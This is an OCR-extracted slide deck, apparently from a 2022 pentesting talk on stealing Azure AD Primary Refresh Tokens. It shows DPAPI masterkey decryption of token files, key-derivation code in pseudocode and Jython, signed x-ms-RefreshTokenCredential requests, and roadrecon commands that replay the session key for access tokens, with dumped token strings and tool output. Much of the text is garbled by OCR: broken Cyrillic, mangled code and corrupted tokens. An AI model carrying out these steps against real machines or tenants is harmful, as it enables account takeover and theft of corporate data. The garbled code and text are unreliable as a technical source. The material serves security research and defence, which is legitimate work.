ROADrecon is a tool for exploring Azure AD environments. To allow for full flexibility, the tool uses 3 simple steps to do this:

1. Authentication
2. Data gathering

. i C
3. Data exploration or conversion

usage: roadrecon [-h] {auth,gather,dump,gui, plugin} ...

ROADrecon - The Azure AD exploration tool.
By @ _dirkjan - dirkjanm.io

« github.com/dirkjanm/ROADtools/ i

" s bageecazr

 roadrecon auth --refresh-token O.AXOA..... -r https://outlookfﬁice365.com"§-
--client -




Pentesting/RedTeaming Microsoft tokens

Cet files from PC:

.. DPAPI

.. TokenBroker

.. AAD Folder

Decrypt Files

Use Access JWT (1 day) to get data
... No authorization logs on MS cloud

Use refresh to get access IWT

Use new access JWT to get data

VFF
{ONE

2022

-
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Pentesting/RedTeaming Microsoft tokens i

2022
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PRT — primary refresh token

2022

AAD - Azure Active Directory
 Azure AD joined

.. login with azure account ...
 Hybryd Azure AD joined

.. login corporate AD account ... .

Primary refresh token (PRT) ~= Kerberos TGT
« Primary refresh token

* Per-user & per-device

« SSO to MS Azure apps P " Wiy
y ?!’i § E



PRT - primary refresh token - WTF 7?77

,ﬂ,OCTyﬂ K yYEeTHOW 3anncu MecTa pa6OTbI Un yue6Horo 3aBedeHnA

COFIyTCTByIOUJ,VIE napaMeTpbl

Stay signed in to all your apps

Windows will remember your account and automatically sign you in to your apps and
websites on this device. This will reduce the number of times you are asked to login.

MonyuuTe AOCTYN K TaKUM pecypcam, Kak 3N1eKTPOHHAaA nouTa,
NPUNOXEHNA U ceTb. MNMoakNOUEHWE NOAPAZYMEBAET, UTO BaLLA Lobaenenune unm yaaneHue naketa
KOMMNaHUA UAKN yueBHOe 33aBeAeHUe CMOTYT YNPABAATE HEKOTOPLIMU NOAroTOBKM

OYHKUMAMM Ha 3TOM YCTPOUCTEE, HAaNPUMER, NapaMeTpamMu, KOTOpbIe

Bbl MOXeTe N3MeHUTh. [INA NONyUYeHWUA KOHKPETHLIX CBeAeHWIi 00 3ToM 3 pT Galinoe x

0BpaTUTECE B CBOKD KOMMaHWUKO Uau yuebHOe 2aBeaeHue, ‘

Request  Response

Raw Hex JSON Web Tokens

ff6e81h7-5e5e-4c41-bhas1-7890af55c9c6 HTTP/1.1

» Host: login.microsoftonline.con

} User-Agent: mMozilla/4.u (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0;

Accept-Encoding: gzip, deflate

Accept: */*

Connection: close

UA-CPU: AMDG4

2 Cnntent-| ongﬂ‘\' (8]

€ Cookie: x-ms-RefreshTokenCredential=
eyJhbGec101JIUzI IN1IsImNOeCI6I LFUa0ZvenFFS2FDd2tramoxR1 91Uks2TG1lgSELYSUSQI1wl a2RmX3Zc1l 6M
J1lc2hfdGOrzw41 01 IwLk FUdOEX VVB] ZDRUL VQwY Uo2VW5S1 bUS0aUST QzQxdXpDT XJ aSmlLWk VSVERsS cDNvOEFOVS
OVASY mOHX0ShWHpk TnR1 QmVk b1 0ydTRx VUSBeEpNTTI tLWQSWVdpQk SCwj NnUkNsaFLEQ3dvULNT Mk dUY XozUGV1U
tYYUFMZleRkRMYmVJSlNLZUlVNmSD&kdCUUlNNXVFYHVS&ldHMlZDULmemJSUquQjJRbGRyOEQKWFRNleDUV
QUNKNNnBoeS14eEN1 RWIFdCO4ZHpyQWwsSqS2 .VBlIeGhQMZdaTlZYQmFHCLdHCZMpLWBBMGS:VEQxMBlSODZhﬁWLx

N

[0 I =

7O

aXZBaDBXe ] NDbHIkNUtBUnZXdFdUU21 tUGZUZmI 0 QVdGOWk x OC1WX3FANFI f MNUOZDB1 cWp1T 1Qx VFhNSE1SNGx 1Y1

OQWFFCT LZEZFR4aG5welUJ 2b2VINLI 1c LBrTmF0azFONLo 152Zh VXM3MFFRQk x rVULaMmtPRTFaZ1FtQ1hTYT LMaGdl - 57/
8




PRT - inside primary refresh token

18
PRT — Syl oy e
\AppData\Local\Packages\Microsoft. AAD.BrokerPlu e St ntear oveadca]
gin_cw5n1h2txyewy\LocalState\u_dabnckbc9g8c86 Sy

[c_g41imis28fo5k1g5u3oilc3m]
cqf5gb5tOn\p_g7m2ag339emk5trOk5uuafhi (c_kodenbntgqcOmpmhkk&Ssogh]
[c_milemdi10dtsodgbl5e346dh]
[c_goab4hl0pgeegkoogaqn9isi]
[c_gvppge7as2g0b934o4dsiqob9]

< 7

33%emk5trOkSuuafh

«e..(...https://login.microsoftonline.com/common$...1fec8e78-bce4-4aaf-ablb-5451cc387264M. . .ms-appx-web://Microsoft.AAD.BrokerPlugin/1fec8e78-bce4-4aaf-
ab1b-5451CC387264. v cueerrrrnnnnnnn 0. AXOASWQUQUQ ) 1UeTXYCXqIUUWH107B_KVKIKGXTUUCW4CMSCADC . ASABAAEAAAD--DLA3VO7Qraagig /WevrAgDs_wQAYPB8tWal19CM1-Ealt X1wWHOT
7PnpiqYMMvr_gpIrnlpg5I703jCpyEzuDFn, BSE70ff7KgYmLBUSEIGO__UpC9Zh-clsRoT4jxxu_-Y11vpWg58DZaezqaviVmAdiQOZSBbsswSiKC37n1H1t3LrZek8v4ekq0KZeMxZ8TIp8ZUyCn7f8
T_M5TX1xCYDxgPt1vYHQirO6wEZKXfObzM.HuzBpdq-tm7 FrfKAV7wwYs7MPa4wyJBctAIXtgMmcA__ecZYHEZJI16cNH5er7 JWTL99riZE8SQuUATYqlSeBITdCq1G67_flRUJaqG7VedVbyu6p5stCOwH
urcRhBtPXNrTMFNNw5vVj1DeTELB7L-b8PI!QLO154ncmrUBYciNcfxGgdEgOVof7_TKRX63M3_-gZ8AprlZYaT-gzNZZD2i5In-IAD10dMimz00SCA_zOUAjC3Lt3dVIH51T35)Ceg8710zz_KdAOHzBp
BDzTeYjJRONIz_BpLSpOIMMq9hSJ8_kIrh()SD6zCkn4EPiMWvd3oDlhglyJl335z5n3EvcolmKwvqIv-0RWiDHUhLNnmnPyODD526T7f-VI_Y9uOLiUqYXYS1j7xD58cduddzAYSt0OcqQad16ApBxPCQ-C
cnAvpKg4v4f8nvINzzZ1BX10CZHNn8F jcfk(1z4QuFAicfiVhy zQhxVes5vA@xxzwDmEY HiYLPpGoLviwIcQD9pl2rkihHQvfNmyvd4cBd c3vNQVNSi9CDPLcWIlncvLKIcvGed3eACE7iVY9CTd-W47
2NecGydwWaQzbQ7j7qrskROtww-BYfDI9FgnZRukhwXGOYGCVPcOV_Sd-00LjLOomZ4YPekgmNU7w92zbs3G400s jL1YMKuc7u_Kwp@c_7e7ZMG598sSviWvoI_dqRaRWOLumAaN j8Xn8UYv7Dd9T6ypUK
x1AWtkCqawCxh4kBKniQUmg3b_r2hOeqy6rwDmLC3NVSywQtvl4ug_o4DR5HZWjUn081hDQ7pnH6beYATItFGporIANe2umVn4m2mlFw7ajVnST3ATfUffdGwyZ6yRmShWg_1cCA5VzI_MWB2EOHBGOP
zmNOgPnb3-Ph2mdLBCRGULtx-1A03FTQBs02QY5XNd jb8Fy3iyFLUQnscieZqXVWakEx7AIYcZQW7WaD_Tnym6CyUtxN-tRb1j2iaaXqB9sXbFtMB6Te2IwliJKGSAVGKOPSnIbplyh96t6EcpIud974
0t jNdBYMOLXC3NGjLQHQWa02gRTeWZuympSVkWZveWyxN5_PG586wzguttSas_LOhcE-Y93fqo10wYjV-GIgR_dvAiX1Ddnmzk8XvIn9dupfBWr_vHXEOB6HWSTYe1MDS_jGuEDqt-iSENVQEJIQC7DX9
E-JWLBEXx01b2-xqIzR2fe5MQ7IM6LBqVheg........ ngch...AQAAAAEAAAABAAAADIyd3wEVORGMegDAT8KX6WEAAABZ1VRaHzp3QYvdrCaKmDw8AAAAAATAAAAAABBMAAAAAQAATAAAABIDSQrBTD
0ZbAs+EpDZnLegGIICdyu6cNhM+MLOeDMjAAAAAAGAAAAAASAATAAAABDOPY jHi/qnpAjgi3SgHLKYpkMBrSBM5s6YY8BQFYWEMAAAACS jmF3HRE/1FMAZ jiLBB5yRySdI4A6aZilIkuyBvD1lbgDDCzR
sWmDUeKK7 rwt gVWEAAAAATAY2Q01r+0H0+C7ybeXd+95R1eqsocFrLnXDERV6B6QFOIYZKTOj38KIKpCPT4GHKXVS5+QIDBbel1SKSGUTLIA. c v v vt eernsnssesesssnsnssssasssnsnasasannnns
vesssseseaes...atestergkkse44.onmicrosoft.com$. . .42940ae7-a3ea-4789-adc7-d717a8952ec0+. . . _2FfQmjvykUV-LV1in&h7NoDEa-Wg@FASh75tZ9ds0A4
...alfatester....Tester....$...a8194a89-cc95-4d3b-bclc-c6bf34e12701........ L O g R R R T e K...u:a8194a89-cc95-4d3b
-bclc-c6bf34e12701.42940ae7-a3ea-4789-adc7-d717a8952ecO. .. .0mt7kk1fs47v2tqstg639n66



PRT - inside primary refresh token 3555

2022

x-ms-RefreshTokenCredential - IWT - eyJhb...

Decoded JWT

Headers -=-{

- Ilalgll : Ll HSZSE)II e
""Ctx":'"QTkFOFqEKankkjjlFﬂeRKBLijIXIOP",
--"kdf_ver":-2,

Lntyp" -t IWT

}

Payload -=-{
--"1s primary":-"true", |
--"refresh_token":-"0.ATwAlUPcd4n-T0al6UnbmOtiNSC41luzCMrZImKZERTDLp308ANU. AQABAAEAAAD- - DLA3VO7Qrddglg7wWevrAgDs wQASPShoG OaXzdNtbBed
--"request_nonce": - " AwABAAEAAAACAOz_BADO_6U0y961QWKuGcKABGkobuYGV7Cvthxx1llLer8or_qOrzZ2rout3- j4BoE7gk FMd3vWuG- LlwKDwZD9aHurBpvY COMgAA"

}

Signature-=-"PTwkcvjmRcf_OkGM8dbRdyoN- V4Bx1imjSlpWY JLNHxO" !
alg — HS256 — hmac sha256 ’ 5

ctx — Context — random seed ‘ ' LGy i

N : : B "3

kdf_ver — Key derivation function version 3 s

request_nonce — Random Nonce from MS

"
&
kl

U

N



PRT — primary refresh token

Nonce - request it from MS

Request

F Raw Hex — R——
1 POST /common/oauth2/token HTTP/1.1

2 Host: login.microsoftonline.com

3 Content-Type: application/x-www-form-urlencoded

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

ApplewebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102
Safari/537.36 Edge/18.19042

Content-Length: 98

Connection: close

grant_type=srv_challenge&windows_apil_version=2.0&resource=
https%3a%2f%2fcdpcs.access.microsoft.com

NO

FF
ONE

2022

Response

Pretty Raw Hex Render

Jl

1 HTTP/1.1 200 OK

WCoOoONOOUBAWN

=
N = O

13
14
15
16
17
18
19

Cache-Control: no-store, no-cache

Pragma: no-cache

Content-Type: text/html; charset=utf-8

Expires: -1

Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff

P3P: CP="DSP CUR OTP1 IND OTR1 ONL FIN"

x-ms-request-1d: 44db5830-b791-4512-a019- 09822c997a00
X-ms-ests-server: 2.1.13481.9 - WEULR2 ProdSlices
X-XSS-Protection: 0O

Set-Cookie: fpc=ArDo2xTfcRSOummIRBIHH k; expires=Sat, 17-Sep-2022 14:57
GMT; path=/; secure; HttpOnly; SameSite=None

Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly
Set-Cookie: stsservicecookie=estsfd; path=/; secure; samesite=none; httponly

Date: Thu, 18 Aug 2022 14:57:32 GMT
Connection: close
Content-Length: 122

{"Nonce" : " AwABAAEAAAACAOz_BADO_3kWTrAdytX_GnKEvsg_lsirdUPhSSDzBNgsyl LfNi3h6vC

9AI63J15ICb8z_PY-sITs6RTPSDGT 22tnck TPFcgAA" }

ﬂw / ¥ -

4 -  " |

\n

32,




PRT — Sign me please... SEF_
2022
KDE ver T A‘\zu reAD-Secu reConversatio'n ‘-"ct;" XL QTI«FOI‘&;EK&C.-.LI-;]JlF,.'"eRK'SLmj'HIXIOP",

I I
hmacSecret="\x00\x00\x00\x01" + label + "\xoo* + context = + ”\xOO\xOO\xO]\xOO“
derivedKey = HmacSHA256(key = sessionkey, secretzhmacSe@:r?t) "’6 C
sighature = Baseob4(HS256( derivedkey, Headers, Payload))

Python:
import jwt o
payload={"refresh_token":"blablabla", "nonce":"boobooboo"} = ' i
g
headers={"typ"'JWT''alg"'HS256','ctx".ctx} : .
i

p -
~ R



PRT — SessionKey

| want PRT !

.. RSA privkey + pubkey ...
.. RSA pubkey -> Microsoft ...

... Microsoft encrypt sessionkey with RSA pubkey -> Windows .. !
.. Windows decrypt via RSA privkey —> sessionkey ... Q 7 p
9

Secure?

NhMmacSecret="\x00\x00\x00\x01" + label + "xoo* +

= HmacSHA256(key = sessionkey, secretzhmachfﬁ(,g;)

+ OO OO0

\
2
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PRT — kdf_verl vs kdf_ver2 SEF_

2022

July 2021 - CVE-2021-33779 - Windows 19043
Kdf_ver 2 — mitigate CVE-2021-33779 - ADFS token replay attack

KDF ver 1;

hmacSecret="\x00\x00\x00\x01" + label + "xo0* + context + "x00\x00\xONx0Q"
' 1
i ¢

KDF ver 2: w5
hmacSecret="\x00\x00\x00\x01" + label + "\xo00* + SHA256(context+payload) + \x0O\OO\XOTIX00!

KDF ver 1-> KDF ver 2 -YES

KDF ver 2 -> KDF ver 1 -



PRT — Sessionkey —where is it ?




PRT — Sessionkey — decrypt me please... JEF
2022
DPAPI Blob — System Mastekeys
.. c\Windows\System32\Microsoft\Protect\S-1-5-18\User ...
.. DPAPI Secrets from LSA (DPAPI_SYSTEM+DPAPI_USER) ...
.. HKLM\Security, HKLM\SYSTEM ... | ;
Mimikatz, Impacket, etc ... : , ',, | : | ' p f
L$ [ /aaddecrvnt.ov]--masterkey ../masterkeys/S-1-5-21-4276662192-3075548024-2561254612-1002 —-sysnasterkey ../masterkeys/S-1-5-18/User --sid S-1-5-21-4
276662192-3075548024-2561254612-1002 | —ps<ord Passwordi] —<y<ten|../system.dat| sccurity b./security.dat] - bascoifile p_gmzags3oenkstrokSuvafhl

outfile p_g7m2ag339emk5trokSuuafhl.dec
Decrypted masterkeys: 3
===========Decrvnted 0K !========== |
Refresh token: 0.AX0A5wqUQuqjiUet:t9cXqIlUuwHi07B_kvK9KqxtUUcw4cmScAOc.AgABAAEAAAD--DLA3VO7Qrddglg7WevrAgDs_wQA9P88fwal9CMi-EaifXiwH6t7PnpiqYMMvr_gpIrnlpg +
5I70jCpyEzuDFn_BSE70ff7KgYmLBUSgJIGO__UpC9Zh-clsRoT4jxxu_-Y11lvpWg58DZaezqaviVmAdiQ0ZSBbsswSiKC37nlH1t3LrZek8v4ekq0KZeMxZ8TIp8ZUyCn7f8T_M5TX1xCYDXxgPt1vYHQ
ir06wEZKXfObzMJIHuzBpdq-tm7FrfKAV7wwYs7MPa4wyJBctAIXtgMmcA__ecZYHEZJI16cNHSer7JWTL99riZE8SQUATYqLSOBITdCq1G7 _f1RUJaqG7VedVbyu6p5stCOwHurcRhBtPXNrTMFNNwSVV
j1DeTELB7L-b8PRQLO154ncmrUBYciNcfxGgdEgOVof7 _TKRX63M3_-gZ8AprlZYaT-gzNZZD2i5In-IAD10dMimz00SCA_zOUAjC3Lt3dVIH51T35)Cg8710zz_KdAOHzBpBDzTeYjIRONIZ_BpLSpO
IMMq9hSJ8_kIrhQSD6zCkn4EPiMWvd3oDlhglyJl335z5n3EvcolmKwvqIv-0RWiDHUhLnmnPyODD526T7f-VI_YQuOLiUqYXYS1j7xD58cduddzAYSt0cqQad16ApBxPCQ-CcnAvpKg4vaf8nvINzzZ1
BX10CZHn8F jcfkQz4QuFAjcfiVhy_zQhxVes5yA@xxzwDmEY_HiYLPpGoLviwIcQD9pl2rkjhHQyfNmyd4cBd_c3vNQyNsj9CDPLcWIlncvLKIcvGgd3eACE7iVY9CTd-W472NecGydWaQzbQ7 j7qrsk
ROtww-BYfDI9FgnZRukhwXGOYGCVPCcOV_Sd-00L jLOomZ4YPekgmNU7w92zbs3G400s jL1YMKuc7u_KwpOc_7e7ZMG598sSviivoI_dgRaRWOLumAaNj8Xn8UYv7Dd9T6ypUKx1AWtkCqawCxh4kBKniQ
Umg3b_r2h0Oeqy6rwDmLC3NVSywQtv14ug_o4DR5HZWjUn081hDQ7pnH6beYATItFGporIANe2umVn4m2mlFw7ajVnST3ATfUf fdGwyZ6yRmShwWg_1cCA5VzI_MWB2EOHBGOPzmNOgPnb3-Ph2mdLBCRG
Ultx-1A03FTQBs02QY5XNdjb8Fy3iyFLUQnscieZgXVWakEx7AIYcZQW7WaD_Tnym6CyUtxN-tRb1j2iaaXqB9sXbFtMB6Te2IwIiIKGSAVGKOPSnIbplyh96t6EcpIud9740t jNdByMOLXC3NG)LQHQ
Wa02gRTeWZuympSVKWZveWyxN5_PG586wzguttSas_LOhcE-Y93fqol10wYjV-GIqR_dvAiX1Ddnmzk8XvIn9dupfBWr_vHXE@B6HWSrYelMDS_jGuEDqt-iSENVQEJIQC7DX9E-IWLBEX01b2-xqIlzR2f N
e5MQ7JIM6LBqVheg
System key Blob Decrypted: / S
81b89fale95f69a6975e3fc806d3968d02082c5557d6e0ab06ae75c5dc476afc fy/ri %
=46

/

|



PRT + Burp + RoadTools = Love

PRT = Headers + pld=(

Request

Prett Raw  Hex = \n =
1 POST /common/oauth2/token HTTP/1.1

2 Host: login.microsoftonline.com

3 Content-Type: application/x-www-form-urlencoded

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

0N U

ApplewebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102
Safari/537.36 Edge/18.19042

Content-Length: 98

Connection: close

grant_type=srv_challenge&windows_api_version=2.0&resource=
https%3a%2f%2fcdpcs.access.microsoft.com

Manual? No, please...

FF
ONE

NO

nonce + refresh_token) + signature

2022
m = .
Response
Pretty Raw Hex Render > \n =

0O~NOO U WN

©

10

12

13
14
15
16
17
18
19

1 HTTP/1.1 200 OK

Cache-Control: no-store, no-cache

Pragma: no-cache

Content-Type: text/html; charset=utf-8

Expires: -1

Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff

P3P: CP="DSP CUR OTP1 IND OTR1 ONL FIN"

x-ms-request-1d: 44db5830-b791-4512-a019- 09822c997a00

Xx-ms-ests-server: 2.1.13481.9 - WEULR2 ProdSlices

X-XSS-Protection: O

Set-Cookie: fpc=ArDo2xTfcRSOummIRBIHH k; expires=Sat, 17-Sep-2022 14:57:32
GMT; path=/; secure; HttpOnly; SameSite=None

Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly
Set-Cookie: stsservicecookie=estsfd; path=/; secure; samesite=none; httponly
Date: Thu, 18 Aug 2022 14:57:32 GMT

Connection: close

Content-Length: 122

{"Nonce" : " AwABAAEAAAACAOz_BADO_3kWTrAdytX_ GnKEvsg_lsirdUPhSSDzBNgsyl_ LfNi3h6vC
9AI63115ICh8z_PY-sITs6RTPSDGT 22tnck TPFcgAA" }




Burp + JWT4B r A {ERE

2022

https://aithub.com/ozzi-/JWT4B/issues
BAPP 777

Only manual
mode



https://github.com/ozzi-/JWT4B/issues

FF

https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon 2022

NO

--prt-sessionkey or --prt-derivedkey

--context

—-prt : 6

-r https://outlook.office365.com . _

--tokens-stdout : i i

- : . C i r
kdf2 G h ol

[:;EREQUESTS CA BUNDLE-~/gownIoads/burp pem HTTPS_PROXY=http: //127H0 0.1: 8080§python3 /home/user/.local/bin/roadrecon auth --pri-sessionke.

y 1e07111bac70e8df088a059f13d22fbc6fbe35b39946c9dfc961a6125138bbda -1t -COlEN f413905a2ba8429a0b09248€3d45fd644a88b9a31C85C838fE——Elt]"0 !
ATwA1UPcd4n-T0aJl6UnbmOtiNSC41uzCMrZImKZERTD1p308ANU. AGABAAEAAAD--DLASYOTQrddgIg7wevrAgDs_wQA9P9boG_OaXzdNtbBedn-2u4qUNAXIMM2--d9YWiBNPZ3gRCl :[
af

hYDCwoRSS2GTaz3PeeS3bZNBCOiVKyNOB3 jAASPuZLqEQWOhWpE62 jrxs_KXaALefuFDLbeIKSKeIU6nCjGBOMMSuEbuyjwl6VvCQLfFbyS)jB2QLldr8OWXTMvTCQWMHqtNZHQxX jPCONW i
1C5MsGOjyjxjokJetz_QssNJaACI6phy-xxChEbEt-8dzrAnjKloWyHxhP7gZNVXBalrGVwliQoAOnsTD13y186a591KvTmA-f3fVOYSCyp8IkI8KuQiAAXFgxbuvhFWvAwdHkYAeGT9 ; i
b7hujuzZpcnISnwz1l_47EzeV1qPoTZOMvz8DOh1oASXDOSBGFHt3CteAU3WVC34_RgkR7QwBdkbNEpSIfwalEgWqe_EIMTVEWNivAhOWz3Clrd5KzRVWEWTSimPfTfbhAWF9i18-V_qgx ] 1‘1\
4R_2u4dobqjbOT1TXMHML4lubs-MEBk j8sm@zmyCqlG7 fp261G5C71QmUVyYJIRSAS0PXQBNVDATxhnpyBvoeI6R5rPkNaNk1N6Z5KfaUs70QQBLkUIZ2k0E] jgQmB8Sa9LhgCBsBp1lmQC } ‘”5
ClMbUjg1SZzkyleg3-NX1HjNzdqzvGpRefrjqGmSpRCEEBQTNhOrxT20AgN67eNM2PSILhekPv70Im9gHwc F8XYypHZ _8mH-WuVmMKDaQaDgutpsVMtOxKUGSwWASGNgkx9WL1YxTn_j1 ol
6hCKOUszTcjy6w5FprKchFddQn16k670N09d3bqc4PKRrxn5kXquM3bVCAdmygtOYLquSAyiN6F1uh3MdeleWAGIZ_HL2yupr6M7z8y2gAMiSh2TsF2H92cx32NBj3F0dP_Z ,
NvayktNEgdqd_TaypLs7msdISkKnpRNKLe0f50YquwaUTTPSPonpqShU_Ha1dngD9OSJUtQWVTOH-r1"f 1 --tokens-stdout ;
{"tokenType": "Bearer", "expiresIn": 4302, "expiresOn": "2022-08-18 14:13:30.774316", "resource": "https://graph.windows.net", "accessToken" =~
"eyJ0eXAi01JKV1QiLCIhbGci101JSUZIINIISIng1dCI6IjIaUXBKM1VwYmpBWVhZR2FYRUpSOGXWMFRPSSISImtpZCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpSOGXWMFRPSSJI9.eyJh |
WQi0iJodHRwczovL2dyYXBoLndpbmRvd3MubmVOIiwiaXNzIjoiaHROCHM6LY9zdHMud21uZG93cy5uZXQvNzdkYzQzZDUtZmU40SOONRMLTES5ZTktNDLKY jk4ZWI2MjM1LyIsImlh
CI6MTY2MDEOMTYOOSwibmImI joxNjYwODQXNjQSLCI1eHAIOJE2NJA4NDYYNTISImFjciI6IjEIiLCIhaw8i0iJFMlpnWUhDd11EZ3R2V1BKOHhObjJveGxubTA1VUc1IMk9xcjdjY3RI
1vaHNZWWR1TT8811w1YW1yIJprnB3ZCIsIngYSJdLCJthBpZCIGIJF1NzMw0TUOLTEZODUtNGI3NC05YmZkLWRhYzIyNGE3YJgSNCIsImecGIkYWNyIJ01MCIsImR1dm1)ZW1k .
“‘ Y XMW ¢ UULZ JUULWLZY 1AL U ] UOYLW Ymill m IXOAZDINDWU. vlJ 4"'1' LL. “'._w-:‘l uYw 1)01UmveYS1l. YWKKCL110 SGYMZEUN jﬁ- ‘."':‘.‘(H

S S o

8 \ T


https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon
https://outlook.office365.com/

2022
Burp Python Scripter — python (jython) scripts inside Burp
,,,,,,,,,,,,,,,,,,, . [ — e T S S
Proxy Action Rules Re( MNewsScript1 X JWT key HS256 Sign JWTFuzz InnsertPRT X ar N
Proxy Auto Config
DoychelP AT Or¢ R Enabled
Python Scripter - e . : ,
wualys WAS 1F 31 ?Tfli tell burp extender use corect python2 libs path (ex: /fusr/local/lib/python2.7/dist-packages)
Quicker Context 2|k 32 . -
St Bl ADE = 23 ﬁ:iz‘fiq:?:rizn zjqqi on kev
Random IP Add Heade o . ~
andom 1B Address Header = 4 £ ooy o\ = v1007111bac70e8df088a059f 13d22f be6f be35b39946c9df co61a6125138bbda"
Reflected File Download C... 5(2 34 .
Reflected Parameters 6 ( 37 def calculate derived key(sessionkey, context=None): i
Reissue Request Scripter 7L 38 import binascii
Replicator : gl¢c 39 from javax.crypto import Mac;
Report To Elastic S h = :
neport 10 Elastic searc 9 I_ 40 from javax.crypto.spec import SecretKeySpec;
41 - - |
JWTFUZZ 10 42 label = "AzureAD-SecureConversation" 4
py 11 43 hmacSecret="\x00\x00\x00\x01" + Llabel + "\x00" + context + "\x00\x0O0\x01\x00" > \n =
12 44 #print("hmacSecret key: " + binascii.hexlify(hmacSecret))
13 45
14|} 46 mac = Mac.getInstance("HmacSHA256") l.0E)
47 secretKeySpec = SecretKeySpec(sessionkey, "HmacSHA256"); .
1S F -
48 mac.1nlt(secretKeySpec); ¥
16 49 hmacSha256 = mac.doFinal (hmacSecret); B
17 50 _q!
18 51 return hmacSha2s6
19(] 52| _ JIn0.eylyZ
20 53 1f toolFlag in (callbacks.TOOL_REPEATER, callbacks.TOOL_SCANNER, callbacks.TOOL_EXTENDER ): UQtLURMQT
51l 34 # only apply to requests JTUzJHVGF
55 1f messagelsRequest: E———
W “ﬁ]o



Burp + Python = Love ??

Burp Python Scripter — python (jython) scripts inside ELurp

PRTInsert.py




S B .

RT — primary refresh token —
want PRT - you know where it is 20NE

. o . 2022

want session key — you know where it iIs

January 1999 Compagq, HP, IBM, Intel and Microsoft — Trusted Computlng Pl@tform

Alliance (TCPA) C ( 4 ¢

April 2003 — Trusted Computing Group (TCG) , I

March 2011 - TPM Main Specification Version 1.2 ¢ 3 ( '

April 2014 — TPM Library Specification 2.0 e R S

November 2019 - ISO/IEC 11889:2015 m%

Documentaion(~1000p) + https://github.com/microsoft/ms-tprn-20- re il §‘ ?.

https://github.com/microsoft/TSS.MSR = alittle bit of understandiady, = .

- S i


https://github.com/microsoft/ms-tpm-20-ref
https://github.com/microsoft/TSS.MSR

PRT — SessionKey ( ) SEF_

2022
| want PRT !
... RSA transport privkey + pubkey ...
.. RSA transport pubkey -> Microsoft ... & 4
... Microsoft encrypt sessionkey via RSA transport pubkey -> Wi@-dows
.. Windows decrypt via RSA transport privkey —> sessi%)nkey;i; f |
SR | " . B :
N 1) Login, Password, 2FA _ Microsoft

| | . |‘,

) 2) Access token, Device Re Reque |

4 eg Ce e ey e € T — ‘ ‘E'

| < - =
4;# ’ . L HIT l;/ £ /
, Wy i3 |

| | & -



TPM — device registration

Pretty = Raw  Hex @ wn

POST /EnrollmentServer/device/?api-version=2.0 HTTP/2

Host: enterpriseregistration.windows.net

Accept: application/json

Authorization: Bearer
eyJ0eXA101JKV1QiLCIhbGe101JSUzI IN1ISIngldCI6I jJaUXBKMLVwY mpBWVhZR2FYRUpsOGXWMFRPSSISImtpZCI6IjJa
VbZwmJ 4xUNKLTehrODEXJgVozc]J6d81-Fmx6_qrAK2K1CZf9tmpVofHSLEIQe1QlBbcn220Qg8Y sUacwWWBLOGAEDSXY j 1kk
6L- AZhgSNmfKLKewXr1seqdLUDgkzoorx3Ftdzn2MyzMxVcY8of - IfTeZzgAquOBVcPZIz56K55d LYRrEDIpHO_R3A
User-Agent: Dsreg/10.0 (Windows 10.0.19043.1200)

Ocp-Adrs-Client-Name: Dsreg

Ocp-Adrs-Client-Version: 10.0.19041.1200

Return-Client-Request-Id: true

Client-Request-Id: e45f5234-763d-4971- 9abe- 90cSads8fOeb2

Content-Length: 3379

{
"CertificateRequest":{
"Type":"pkcslo",
"Data":
"MIICdTCCAVOCAQAWMDEUMCWGALUEAXMLNOUSODBBRDK tQ]j g2RCOOMzAZL Tk OM] UtOUFDMDY 2Rk IwMTRBADCCASIwDQY
JKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOLE1RL CROST 3dT+TY dwiWBLHXw+6q+2azuaHKmzd 17+Y gC0zOL 4c4ySISTA
1qKpeSpz+9I zdc+NmGq1 ] SuXgS2x kb ACuMWI AfWMLEDNX7x rZrdQgrQOeY+vnWXBpJ63pI OahtXD8Cmp JE3QKIDyavh
SwE0PU1gywQ] I 4NjwnX+Y ALW/sPLT AAMsLqDSkSWglsQ0z8GV0LZzacIVwefOLIY rn1TkqELVepMEBMHY KcZd1QW3zka
mvEyNNrYeVvnQtSmR"
}'
"TransportKey":
" UENQTTgAAAACAAAAAGAAADWBAADGAAAAAAAAAAAAAACWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABOgABAAS AAWRY ACC /
8vzbDg65pn7mG] cbculd 1xU4hL40ASI sEKFY vE01 rgAGAT AAQwAQCAAAAAAAAQD] Y 760Jq/ fLweTp3DuPyNT G101 y965QM
LytZyb8xFcwbydQd1QnwdduhNvOMndL 1QvG7tUoxZ2A4ty61 JdzVi /SSNENY vSK7J / AoGpSySwlPvL87wUT FE+AXXSNRqe
51jTOOAGQFa01RCDZMYYT /LwzI f 611 FPZVhT ST v 10 GZHAWHpWXS1ME86BwL dpghwnK+S1BNd15] Sh7+buA7HBKX24nY SSD
8zsaDFKURrIPMuP1bE4Fxn0x1 fkPLH70+dDmK tgxF1x+2beS+tR8DIIBvc40ZciNIk 7pKk y 4+ LT 1MYBLOWFIBAL1 3] GP/T
q4zvY 1+s435SPg1 Mak EZZCmEPN XdAN4AT MVI 71 KU/ xSI f 1zh+ud 1FGIu32PLCQIwJ VX2MLOCBAN4ABAY g 2vHSBE XSUFgwaR
Tnferc+YkNgNZmAMI 1 DtYGF9Q001 42D2mgg0QFkhk TwDOdwT cY f hDBHI ndecUUOKbk a3 18WXYQdCtZ/gqX3uGf Sm3EtXeg
SNUQ+H/0nIgQhQ3wWvBLLI AwSCDY 3a00EcRUb6Z1 I pgsTUDGZEzMSe v AMOdXxH341 42T gKRf PntDf FbwtCaRFAD] JutgKnW
svevIt6ecmA49dESS7+UBAZITR/ dLT gcwuGHaDS2myMAAAAAGACCPZSFpqSIpTgx ] Pxq3coQrgk G7wgKImB/HrB7dwf 3bD
